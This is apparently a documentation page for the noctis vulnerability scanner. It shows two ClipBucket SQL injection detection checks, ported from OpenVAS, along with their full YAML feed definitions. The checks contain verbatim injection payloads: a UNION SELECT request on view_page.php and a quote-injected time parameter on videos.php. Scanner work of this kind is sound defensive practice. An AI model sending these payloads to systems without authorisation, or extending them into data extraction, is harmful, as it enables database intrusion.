ClipBucket — 2 vulnerability checks

noctis ships 2 vulnerability checks for ClipBucket, covering 4 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

ClipBucket SQL Injection (view_page.php pid parameter)

CVECVE-2012-5849
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectiontcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/clipbucket/CVE-2012-5849.yaml

Detects CVE-2012-5849 by sending a UNION SELECT payload to the view_page.php endpoint and confirming the reflected SQL-Injection-Test marker on a 200 ClipBucket page.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /view_page.php?pid=0%27%20UNION%20SELECT%201%2C2%2C3%2C4%2C5%2Cconcat(0x53514c2d496e6…
  2. Checks resp.banner for HTTP/1\.[01] 200[\s\S]*>ClipBucket
  3. Checks resp.banner for SQL-Injection-Test< → finding QoD 75: ClipBucket SQLi confirmed — UNION SELECT payload on view_page.php pid reflected the SQL-Injection-Test marker on a 200 ClipBucket page at ……

References:

Feed source — tests/vulnerabilities/clipbucket/CVE-2012-5849.yaml
# ClipBucket — Multiple SQL Injection (CVE-2012-5849)
#
# ClipBucket is prone to multiple SQL injection vulnerabilities. The `pid`
# parameter of view_page.php is used in an SQL query without sanitisation.
# An unauthenticated attacker injects a UNION SELECT whose output is reflected
# into the page, confirming injection.
#
# Ported from OpenVAS/Greenbone NVT 2015/gb_clipbucket_mult_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.805388, GPL-2.0-only). The full UNION SELECT request
# line is reproduced verbatim, including the concat(0x53514c2d...) marker column.
# The plugin confirms with check_header:TRUE (HTTP 200), pattern "SQL-Injection-Test<",
# and extra_check ["Login", ">ClipBucket"].
#
# The payload carries URL-encoded tokens (`%27`, `%20`, `%2C`) that reqwest would
# normalise, so the request is sent verbatim over tcp_connect (HTTP/1.0) and the
# reflected marker is matched on resp.banner.
uid: 0b485e35-f1d9-4a7e-9ab6-4d29c19263af
name: "ClipBucket SQL Injection (view_page.php pid parameter)"
description: |
  Detects CVE-2012-5849 by sending a UNION SELECT payload to the view_page.php endpoint
  and confirming the reflected SQL-Injection-Test marker on a 200 ClipBucket page.
cves: [CVE-2012-5849]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [clipbucket, sqli, openvas, web-application-abuses]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-5849"
  - "OpenVAS/Greenbone NASL 2015/gb_clipbucket_mult_sql_inj_vuln.nasl (OID 1.3.6.1.4.1.25623.1.0.805388, GPL-2.0-only)"

steps:
  # Verbatim NASL request: the FULL UNION SELECT payload including the
  # concat(0x53514c2d...) marker column — not a truncated prefix with a dangling %2.
  - id: sqli-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /view_page.php?pid=0%27%20UNION%20SELECT%201%2C2%2C3%2C4%2C5%2Cconcat(0x53514c2d496e6a656374696f6e2d54657374)%2C7%2C8%2C9%2C10%20--%202 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: resp

  # NASL check_header:TRUE (HTTP 200) + extra_check ">ClipBucket": confirm the
  # response is a 200 ClipBucket page before trusting the marker.
  - id: fingerprint
    action: match
    source: resp.banner
    pattern: "HTTP/1\\.[01] 200[\\s\\S]*>ClipBucket"
    store_as: fp

  # NASL pattern "SQL-Injection-Test<" — gated on the 200 + fingerprint so a bare
  # ClipBucket page without reflection does not fire.
  - id: confirm-sqli
    action: match
    source: resp.banner
    pattern: "SQL-Injection-Test<"
    on_match:
      condition: "fp.matched"
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "ClipBucket SQLi confirmed — UNION SELECT payload on view_page.php pid reflected the SQL-Injection-Test marker on a 200 ClipBucket page at {{target_host}}:{{port}}"

ClipBucket videos.php time parameter SQL injection

CVECVE-2012-6642, CVE-2012-6643, CVE-2012-6644
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionset_var, tcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/clipbucket/clipbucket-multiple-vulns.yaml

Sends GET /videos.php?cat=all&seo_cat_name=&sort=most_recent&time=1%27SQL-Injection-Test and reports when the response is a 200 containing a MySQL syntax error that reflects the injected marker, showing the `time` parameter reaches the SQL query.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /videos.php?cat=all&seo_cat_name=&sort=most_recent&time=1%27SQL-Injection-Test HTTP/1…
  2. Checks root_resp.banner for (?s)^HTTP/1\.[01] 200.*You have an error in your SQL syntax.*SQL-Inje… → finding QoD 75: SQL error reflecting injected marker at /videos.php: …
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET /clipbucket/videos.php?cat=all&seo_cat_name=&sort=most_recent&time=1%27SQL-Injection-…
  4. Checks sub_resp.banner for (?s)^HTTP/1\.[01] 200.*You have an error in your SQL syntax.*SQL-Inje… → finding QoD 75: SQL error reflecting injected marker at /clipbucket/videos.php: …

References:

Feed source — tests/vulnerabilities/clipbucket/clipbucket-multiple-vulns.yaml
# ClipBucket 2.6 Multiple Vulnerabilities — CVE-2012-6642 / CVE-2012-6643 / CVE-2012-6644
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_clipbucket_mult_vuln.nasl (GPL-2.0-only).
#
# Detection: a single quote (%27) appended to the `time` parameter of
# videos.php reaches the backend SQL query unsanitised; a vulnerable install
# answers 200 with a MySQL syntax error that echoes the injected marker.
# Install dirs probed: "/" and "/clipbucket" (from gb_clipbucket_detect.nasl).
# The payload carries %27, so the request is sent verbatim via tcp_connect.
# QoD 75 — response analysis (content match).
uid: 744439a2-3ccd-4240-8012-c571ac7eb9ad
name: "ClipBucket videos.php time parameter SQL injection (CVE-2012-6642)"
description: |
  Sends GET /videos.php?cat=all&seo_cat_name=&sort=most_recent&time=1%27SQL-Injection-Test
  and reports when the response is a 200 containing a MySQL syntax error that
  reflects the injected marker, showing the `time` parameter reaches the SQL query.
cves: [CVE-2012-6642, CVE-2012-6643, CVE-2012-6644]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [clipbucket, php, sqli, xss, web]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-6642"
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-6643"
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-6644"
  - "http://packetstormsecurity.org/files/108489"
  - "OpenVAS/Greenbone NVT 2014/gb_clipbucket_mult_vuln.nasl (GPL-2.0-only)"

steps:
  - id: init
    action: set_var
    var_name: sqli_found
    var_value: false

  # ── Install dir "/" ───────────────────────────────────────────────────────
  - id: sqli-root
    action: tcp_connect
    port: "{{port}}"
    send: "GET /videos.php?cat=all&seo_cat_name=&sort=most_recent&time=1%27SQL-Injection-Test HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: root_resp

  - id: sqli-root-match
    action: match
    source: root_resp.banner
    # check_header:TRUE (200) + NASL pattern
    pattern: "(?s)^HTTP/1\\.[01] 200.*You have an error in your SQL syntax.*SQL-Injection-Test"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "SQL error reflecting injected marker at /videos.php: {{root_resp.banner}}"
      set_vars:
        sqli_found: true
      stop: true

  # ── Install dir "/clipbucket" ─────────────────────────────────────────────
  - id: sqli-subdir
    action: tcp_connect
    port: "{{port}}"
    send: "GET /clipbucket/videos.php?cat=all&seo_cat_name=&sort=most_recent&time=1%27SQL-Injection-Test HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: sub_resp
    condition: "sqli_found == false"

  - id: sqli-subdir-match
    action: match
    source: sub_resp.banner
    pattern: "(?s)^HTTP/1\\.[01] 200.*You have an error in your SQL syntax.*SQL-Injection-Test"
    condition: "sqli_found == false"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "SQL error reflecting injected marker at /clipbucket/videos.php: {{sub_resp.banner}}"
      stop: true

View these feeds on GitHub